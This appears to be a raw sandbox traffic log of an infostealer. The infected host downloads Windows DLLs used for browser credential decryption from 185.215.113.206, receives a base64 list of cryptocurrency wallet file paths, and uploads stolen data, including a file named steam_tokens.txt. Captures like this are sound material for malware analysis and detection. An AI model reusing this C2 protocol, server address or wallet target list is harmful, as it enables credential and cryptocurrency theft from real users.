Dec 16, 2024 10:38:09.870762110 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 10:38:10.523720026 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 10:38:10.966455936 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 16, 2024 10:38:10.966485977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 16, 2024 10:38:10.966499090 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 16, 2024 10:38:10.966546059 CET	672	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 16, 2024 10:38:10.966558933 CET	1236	IN	Data Raw: c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 be ff ff ff ff 85 c0 74 49 8b 55 10 89 f9 ff 75 18 ff 75 14 e8 40 00 00 00 83 c4 08 85 c0 74 30 8b 1f 85 db 74 2c 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 eb Data Ascii: GGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}Yt9vhC9Us[KSFHuWSFHE}j@PWS
Dec 16, 2024 10:38:10.966571093 CET	1236	IN	Data Raw: 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 e5 53 57 56 50 8b 4d 14 8b 7d 08 8b 47 04 39 08 76 17 68 05 e0 ff ff e8 b5 fa 07 00 83 c4 04 b8 ff ff ff ff Data Ascii: WVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1
Dec 16, 2024 10:38:10.966583967 CET	1236	IN	Data Raw: 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 17 68 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 89 55 e4 8b 7d 10 8b 5d 08 8b 45 f0 Data Ascii: VuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u]S2MQE}
Dec 16, 2024 10:38:10.966607094 CET	1236	IN	Data Raw: e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f Data Ascii: fpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo f
Dec 16, 2024 10:38:10.966804028 CET	1236	IN	Data Raw: 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a c1 e2 18 09 c2 33 55 e0 8b 4d c4 8b Data Ascii: UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE},7,7E@2
Dec 16, 2024 10:38:10.966816902 CET	1236	IN	Data Raw: f0 fe ff ff 8b 5d e4 11 d3 03 85 5c ff ff ff 89 45 d0 11 f3 89 5d e4 31 d9 8b 95 64 ff ff ff 31 c2 89 d0 0f a4 c8 10 0f ac ca 10 89 95 64 ff ff ff 8b 4d c4 01 d1 89 4d c4 11 c7 89 c3 89 7d bc 31 fe 8b 85 5c ff ff ff 31 c8 89 f1 0f a4 c1 01 89 4d Data Ascii: ]\E]1d1dMM}1\1M\tH@uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]
Dec 16, 2024 10:38:10.974832058 CET	1236	IN	Data Raw: ca 89 4d dc 8b 4d d8 11 d9 89 4d d8 31 c8 89 f9 31 d1 89 c2 0f a4 ca 01 89 55 a4 0f a4 c1 01 89 4d 8c 8b 45 b8 03 85 38 ff ff ff 8b 4d f0 13 8d 14 ff ff ff 8b 5d ac 01 d8 89 45 b8 8b 95 7c ff ff ff 11 d1 89 4d f0 8b bd 78 ff ff ff 31 cf 8b 75 a8 Data Ascii: MMM11UME8M]E\|Mx1u1uEEMM11ut]Pu]M11Xx]]MM11\|}$E\]}
Dec 16, 2024 10:38:12.555051088 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 10:38:12.997179031 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 16, 2024 10:38:13.860716105 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 10:38:14.303014994 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 16, 2024 10:38:15.120611906 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 10:38:15.563595057 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 16, 2024 10:38:18.689744949 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 10:38:19.132050037 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 16, 2024 10:38:19.756428003 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 16, 2024 10:38:20.199892044 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 16, 2024 10:38:20.727143049 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCA Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 10:38:21.831940889 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 10:38:21.906892061 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="message"wallets------FBKFCFBFIDGCGDHJDBKF--
Dec 16, 2024 10:38:22.353074074 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 16, 2024 10:38:22.356390953 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 2d 2d 0d 0a Data Ascii: ------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="message"files------CBFBGCGIJKJJKFIDBFCG--
Dec 16, 2024 10:38:22.801135063 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 10:38:22.821374893 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="file"------GHIDHCBGDHJKEBGDGIJE--
